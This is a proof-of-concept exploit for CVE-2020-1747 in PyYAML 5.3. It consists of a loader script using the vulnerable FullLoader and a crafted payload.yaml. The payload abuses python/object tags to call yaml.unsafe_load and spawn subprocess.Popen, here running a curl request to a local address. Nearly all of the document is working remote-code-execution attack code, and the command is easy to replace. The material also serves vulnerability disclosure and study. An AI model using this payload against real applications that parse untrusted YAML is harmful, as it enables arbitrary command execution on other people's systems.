CVE-2020-1747 PyYAML PoC

load.py

# pyyaml==5.3 required. Vulnerability has been fixed in 5.3.1
# More: ret2libc's report in https://github.com/yaml/pyyaml/pull/386
# Explanation: https://2130706433.net/blog/pyyaml/
from yaml import *

with open('payload.yaml','rb') as f:
  content = f.read()

data = load(content, Loader=FullLoader) # Using vulnerable FullLoader

payload.yaml

# The `extend` function is overriden to run `yaml.unsafe_load` with 
# custom `listitems` argument, in this case a simple curl request

- !!python/object/new:yaml.MappingNode
  listitems: !!str '!!python/object/apply:subprocess.Popen [["curl", "http://127.0.0.1/rce"]]'
  state:
    tag: !!str dummy
    value: !!str dummy
    extend: !!python/name:yaml.unsafe_load